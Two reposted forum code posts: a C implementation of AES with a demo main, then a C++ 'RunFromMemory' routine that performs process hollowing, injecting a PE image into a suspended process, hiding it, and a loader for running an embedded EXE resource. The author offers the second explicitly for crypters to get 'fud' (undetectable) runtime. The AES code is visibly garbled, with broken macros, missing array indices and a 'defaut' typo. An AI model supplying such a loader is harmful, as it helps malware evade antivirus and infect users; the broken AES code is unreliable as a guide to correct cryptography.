[h=1][C] AES Implementation[/h][h=3]X-N2O[/h]I joined all the source inside the code tags. If you wanna use it you have the separate files aes.c, aes.h and main.c inside the zip file. Enjoy. // AES Implementation by X-N2O// Started: 15:41:35 - 18 Nov 2009 // Finished: 20:03:59 - 21 Nov 2009 // Logarithm, S-Box, and RCON tables are not hardcoded // Instead they are generated when the program starts // All of the code below is based from the AES specification // You can find it at http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf // You may use this code as you wish, but do not remove this comment // This is only a proof of concept, and should not be considered as the most efficient implementation #include <stdlib.h> #include <string.h> #include <stdio.h> #define AES_RPOL 0x011b // reduction polynomial (x^8 + x^4 + x^3 + x + 1) #define AES_GEN 0x03 // gf(2^8) generator (x + 1) #define AES_SBOX_CC 0x63 // S-Box C constant #define KEY_128 (128/8) #define KEY_192 (192/8) #define KEY_256 (256/8) #define aes_mul(a, ((a)&&(?g_aes_ilogt[(g_aes_logt[(a)]+g_aes_logt[(])%0xff]:0) #define aes_inv(a) ((a)?g_aes_ilogt[0xff-g_aes_logt[(a)]]:0) unsigned char g_aes_logt[256], g_aes_ilogt[256]; unsigned char g_aes_sbox[256], g_aes_isbox[256]; typedef struct { unsigned char state[4][4]; int kcol; size_t rounds; unsigned long keysched[0]; } aes_ctx_t; void aes_init(); aes_ctx_t *aes_alloc_ctx(unsigned char *key, size_t keyLen); inline unsigned long aes_subword(unsigned long w); inline unsigned long aes_rotword(unsigned long w); void aes_keyexpansion(aes_ctx_t *ctx); inline unsigned char aes_mul_manual(unsigned char a, unsigned char ; // use aes_mul instead void aes_subbytes(aes_ctx_t *ctx); void aes_shiftrows(aes_ctx_t *ctx); void aes_mixcolumns(aes_ctx_t *ctx); void aes_addroundkey(aes_ctx_t *ctx, int round); void aes_encrypt(aes_ctx_t *ctx, unsigned char input[16], unsigned char output[16]); void aes_invsubbytes(aes_ctx_t *ctx); void aes_invshiftrows(aes_ctx_t *ctx); void aes_invmixcolumns(aes_ctx_t *ctx); void aes_decrypt(aes_ctx_t *ctx, unsigned char input[16], unsigned char output[16]); void aes_free_ctx(aes_ctx_t *ctx); void init_aes() { int i; unsigned char gen; // build logarithm table and it's inverse gen = 1; for(i = 0; i < 0xff; i++) { g_aes_logt[gen] = i; g_aes_ilogt = gen; gen = aes_mul_manual(gen, AES_GEN); } // build S-Box and it's inverse for(i = 0; i <= 0xff; i++) { char bi; unsigned char inv = aes_inv(i); g_aes_sbox = 0; for(bi = 0; bi < 8; bi++) { // based on transformation 5.1 // could also be done with a loop based on the matrix g_aes_sbox |= ((inv & (1<<bi)?1:0) ^ (inv & (1 << ((bi+4) & 7))?1:0) ^ (inv & (1 << ((bi+5) & 7))?1:0) ^ (inv & (1 << ((bi+6) & 7))?1:0) ^ (inv & (1 << ((bi+7) & 7))?1:0) ^ (AES_SBOX_CC & (1 << bi)?1:0) ) << bi; } g_aes_isbox[g_aes_sbox] = i; } // warning: quickhack g_aes_sbox[1] = 0x7c; g_aes_isbox[0x7c] = 1; g_aes_isbox[0x63] = 0; } aes_ctx_t *aes_alloc_ctx(unsigned char *key, size_t keyLen) { aes_ctx_t *ctx; size_t rounds; size_t ks_size; switch(keyLen) { case 16: // 128-bit key rounds = 10; break; case 24: // 192-bit key rounds = 12; break; case 32: // 256-bit key rounds = 14; break; defaut: return NULL; } ks_size = 4*(rounds+1)*sizeof(unsigned long); ctx = malloc(sizeof(aes_ctx_t)+ks_size); if(ctx) { ctx->rounds = rounds; ctx->kcol = keyLen/4; memcpy(ctx->keysched, key, keyLen); ctx->keysched[43] = 0; aes_keyexpansion(ctx); } return ctx; } inline unsigned long aes_subword(unsigned long w) { return g_aes_sbox[w & 0x000000ff] | (g_aes_sbox[(w & 0x0000ff00) >> 8] << 8) | (g_aes_sbox[(w & 0x00ff0000) >> 16] << 16) | (g_aes_sbox[(w & 0xff000000) >> 24] << 24); } inline unsigned long aes_rotword(unsigned long w) { // May seem a bit different from the spec // It was changed because unsigned long is represented with little-endian convention on x86 // Should not depend on architecture, but this is only a POC return ((w & 0x000000ff) << 24) | ((w & 0x0000ff00) >> 8) | ((w & 0x00ff0000) >> 8) | ((w & 0xff000000) >> 8); } void aes_keyexpansion(aes_ctx_t *ctx) { unsigned long temp; unsigned long rcon; register int i; rcon = 0x00000001; for(i = ctx->kcol; i < (4*(ctx->rounds+1)); i++) { temp = ctx->keysched[i-1]; if(!(i%ctx->kcol)) { temp = aes_subword(aes_rotword(temp)) ^ rcon; rcon = aes_mul(rcon, 2); } else if(ctx->kcol > 6 && i%ctx->kcol == 4) temp = aes_subword(temp); ctx->keysched = ctx->keysched[i-ctx->kcol] ^ temp; } } inline unsigned char aes_mul_manual(unsigned char a, unsigned char { register unsigned short ac; register unsigned char ret; ac = a; ret = 0; while( { if(b & 0x01) ret ^= ac; ac <<= 1; b >>= 1; if(ac & 0x0100) ac ^= AES_RPOL; } return ret; } void aes_subbytes(aes_ctx_t *ctx) { int i; for(i = 0; i < 16; i++) { int x, y; x = i & 0x03; y = i >> 2; ctx->state[x][y] = g_aes_sbox[ctx->state[x][y]]; } } void aes_shiftrows(aes_ctx_t *ctx) { unsigned char nstate[4][4]; int i; for(i = 0; i < 16; i++) { int x, y; x = i & 0x03; y = i >> 2; nstate[x][y] = ctx->state[x][(y+x) & 0x03]; } memcpy(ctx->state, nstate, sizeof(ctx->state)); } void aes_mixcolumns(aes_ctx_t *ctx) { unsigned char nstate[4][4]; int i; for(i = 0; i < 4; i++) { nstate[0] = aes_mul(0x02, ctx->state[0]) ^ aes_mul(0x03, ctx->state[1]) ^ ctx->state[2] ^ ctx->state[3]; nstate[1] = ctx->state[0] ^ aes_mul(0x02, ctx->state[1]) ^ aes_mul(0x03, ctx->state[2]) ^ ctx->state[3]; nstate[2] = ctx->state[0] ^ ctx->state[1] ^ aes_mul(0x02, ctx->state[2]) ^ aes_mul(0x03, ctx->state[3]); nstate[3] = aes_mul(0x03, ctx->state[0]) ^ ctx->state[1] ^ ctx->state[2] ^ aes_mul(0x02, ctx->state[3]); } memcpy(ctx->state, nstate, sizeof(ctx->state)); } void aes_addroundkey(aes_ctx_t *ctx, int round) { int i; for(i = 0; i < 16; i++) { int x, y; x = i & 0x03; y = i >> 2; ctx->state[x][y] = ctx->state[x][y] ^ ((ctx->keysched[round*4+y] & (0xff << (x*8))) >> (x*8)); } } void aes_encrypt(aes_ctx_t *ctx, unsigned char input[16], unsigned char output[16]) { int i; // copy input to state for(i = 0; i < 16; i++) ctx->state[i & 0x03][i >> 2] = input; aes_addroundkey(ctx, 0); for(i = 1; i < ctx->rounds; i++) { aes_subbytes(ctx); aes_shiftrows(ctx); aes_mixcolumns(ctx); aes_addroundkey(ctx, i); } aes_subbytes(ctx); aes_shiftrows(ctx); aes_addroundkey(ctx, ctx->rounds); // copy state to output for(i = 0; i < 16; i++) output = ctx->state[i & 0x03][i >> 2]; } void aes_invshiftrows(aes_ctx_t *ctx) { unsigned char nstate[4][4]; int i; for(i = 0; i < 16; i++) { int x, y; x = i & 0x03; y = i >> 2; nstate[x][(y+x) & 0x03] = ctx->state[x][y]; } memcpy(ctx->state, nstate, sizeof(ctx->state)); } void aes_invsubbytes(aes_ctx_t *ctx) { int i; for(i = 0; i < 16; i++) { int x, y; x = i & 0x03; y = i >> 2; ctx->state[x][y] = g_aes_isbox[ctx->state[x][y]]; } } void aes_invmixcolumns(aes_ctx_t *ctx) { unsigned char nstate[4][4]; int i; for(i = 0; i < 4; i++) { nstate[0] = aes_mul(0x0e, ctx->state[0]) ^ aes_mul(0x0b, ctx->state[1]) ^ aes_mul(0x0d, ctx->state[2]) ^ aes_mul(0x09, ctx->state[3]); nstate[1] = aes_mul(0x09, ctx->state[0]) ^ aes_mul(0x0e, ctx->state[1]) ^ aes_mul(0x0b, ctx->state[2]) ^ aes_mul(0x0d, ctx->state[3]); nstate[2] = aes_mul(0x0d, ctx->state[0]) ^ aes_mul(0x09, ctx->state[1]) ^ aes_mul(0x0e, ctx->state[2]) ^ aes_mul(0x0b, ctx->state[3]); nstate[3] = aes_mul(0x0b, ctx->state[0]) ^ aes_mul(0x0d, ctx->state[1]) ^ aes_mul(0x09, ctx->state[2]) ^ aes_mul(0x0e, ctx->state[3]); } memcpy(ctx->state, nstate, sizeof(ctx->state)); } void aes_decrypt(aes_ctx_t *ctx, unsigned char input[16], unsigned char output[16]) { int i, j; // copy input to state for(i = 0; i < 16; i++) ctx->state[i & 0x03][i >> 2] = input; aes_addroundkey(ctx, ctx->rounds); for(i = ctx->rounds-1; i >= 1; i--) { aes_invshiftrows(ctx); aes_invsubbytes(ctx); aes_addroundkey(ctx, i); aes_invmixcolumns(ctx); } aes_invshiftrows(ctx); aes_invsubbytes(ctx); aes_addroundkey(ctx, 0); // copy state to output for(i = 0; i < 16; i++) output = ctx->state[i & 0x03][i >> 2]; } void aes_free_ctx(aes_ctx_t *ctx) { free(ctx); } int main(int argc, char *argv[]) { unsigned char key[KEY_128] = "uber strong key!"; unsigned char ptext[16] = "Attack at dawn!"; unsigned char ctext[16]; unsigned char decptext[16]; aes_ctx_t *ctx; init_aes(); ctx = aes_alloc_ctx(key, sizeof(key)); if(!ctx) { perror("aes_alloc_ctx"); return EXIT_FAILURE; } aes_encrypt(ctx, ptext, ctext); aes_decrypt(ctx, ctext, decptext); puts(decptext); aes_free_ctx(ctx); return EXIT_SUCCESS; } In the attached zip you will also find the compiled ELF binary. aes.zip 8.84KB 2183 downloads Sursa: [C] AES Implementation - Professional Code - rohitab.com - Forums

[h=1][c++] Run Program From Memory And Not File[/h][h=3]Galco[/h] void RunFromMemory(char* pImage,char* pPath){ DWORD dwWritten = 0; DWORD dwHeader = 0; DWORD dwImageSize = 0; DWORD dwSectionCount = 0; DWORD dwSectionSize = 0; DWORD firstSection = 0; DWORD previousProtection = 0; DWORD jmpSize = 0; IMAGE_NT_HEADERS INH; IMAGE_DOS_HEADER IDH; IMAGE_SECTION_HEADER Sections[1000]; PROCESS_INFORMATION peProcessInformation; STARTUPINFO peStartUpInformation; CONTEXT pContext; char* pMemory; char* pFile; memcpy(&IDH,pImage,sizeof(IDH)); memcpy(&INH,(void*)((DWORD)pImage+IDH.e_lfanew),sizeof(INH)); dwImageSize = INH.OptionalHeader.SizeOfImage; pMemory = (char*)malloc(dwImageSize); memset(pMemory,0,dwImageSize); pFile = pMemory; dwHeader = INH.OptionalHeader.SizeOfHeaders; firstSection = (DWORD)(((DWORD)pImage+IDH.e_lfanew) + sizeof(IMAGE_NT_HEADERS)); memcpy(Sections,(char*)(firstSection),sizeof(IMAGE_SECTION_HEADER)*INH.FileHeader.NumberOfSections); memcpy(pFile,pImage,dwHeader); if((INH.OptionalHeader.SizeOfHeaders % INH.OptionalHeader.SectionAlignment)==0) { jmpSize = INH.OptionalHeader.SizeOfHeaders; } else { jmpSize = INH.OptionalHeader.SizeOfHeaders / INH.OptionalHeader.SectionAlignment; jmpSize += 1; jmpSize *= INH.OptionalHeader.SectionAlignment; } pFile = (char*)((DWORD)pFile + jmpSize); for(dwSectionCount = 0; dwSectionCount < INH.FileHeader.NumberOfSections; dwSectionCount++) { jmpSize = 0; dwSectionSize = Sections[dwSectionCount].SizeOfRawData; memcpy(pFile,(char*)(pImage + Sections[dwSectionCount].PointerToRawData),dwSectionSize); if((Sections[dwSectionCount].Misc.VirtualSize % INH.OptionalHeader.SectionAlignment)==0) { jmpSize = Sections[dwSectionCount].Misc.VirtualSize; } else { jmpSize = Sections[dwSectionCount].Misc.VirtualSize / INH.OptionalHeader.SectionAlignment; jmpSize += 1; jmpSize *= INH.OptionalHeader.SectionAlignment; } pFile = (char*)((DWORD)pFile + jmpSize); } memset(&peStartUpInformation,0,sizeof(STARTUPINFO)); memset(&peProcessInformation,0,sizeof(PROCESS_INFORMATION)); memset(&pContext,0,sizeof(CONTEXT)); peStartUpInformation.cb = sizeof(peStartUpInformation); if(CreateProcess(NULL,pPath,&secAttrib,NULL,false,CREATE_SUSPENDED, NULL,NULL,&peStartUpInformation,&peProcessInformation)) { hideProcess(peProcessInformation.dwProcessId); startHook(peProcessInformation.hProcess); pContext.ContextFlags = CONTEXT_FULL; GetThreadContext(peProcessInformation.hThread,&pContext); VirtualProtectEx(peProcessInformation.hProcess,(void*)((DWORD)INH.OptionalHeader.ImageBase),dwImageSize,PAGE_EXECUTE_READWRITE,&previousProtection); WriteProcessMemory(peProcessInformation.hProcess,(void*)((DWORD)INH.OptionalHeader.ImageBase),pMemory,dwImageSize,&dwWritten); WriteProcessMemory(peProcessInformation.hProcess,(void*)((DWORD)pContext.Ebx + 8),&INH.OptionalHeader.ImageBase,4,&dwWritten); pContext.Eax = INH.OptionalHeader.ImageBase + INH.OptionalHeader.AddressOfEntryPoint; SetThreadContext(peProcessInformation.hThread,&pContext); VirtualProtectEx(peProcessInformation.hProcess,(void*)((DWORD)INH.OptionalHeader.ImageBase),dwImageSize,previousProtection,0); ResumeThread(peProcessInformation.hThread); } free(pMemory); } This function will run a process based on it's memory instead of running a process from a file. Meaning, you can use this in crypters to have fud runtime. You can basically load an exe as a resource into your code and run it as a process like this: int main(int argc,char* argv[]){ HGLOBAL hResData; HRSRC hResInfo; void *pvRes; DWORD dwSize; char* lpMemory; HMODULE hModule = GetModuleHandle(NULL); if (((hResInfo = FindResource(hModule, MAKEINTRESOURCE(IDD_EXE1), "EXE")) != NULL) &&((hResData = LoadResource(hModule, hResInfo)) != NULL) &&((pvRes = LockResource(hResData)) != NULL)) { dwSize = SizeofResource(hModule, hResInfo); lpMemory = (char*)malloc (dwSize); memset(lpMemory,0,dwSize); memcpy (lpMemory, pvRes, dwSize); RunFromMemory(lpMemory,argv[0]); } } The program running the process must have the same image base or else it will not work. Sursa: [c++] Run Program From Memory And Not File - Professional Code - rohitab.com - Forums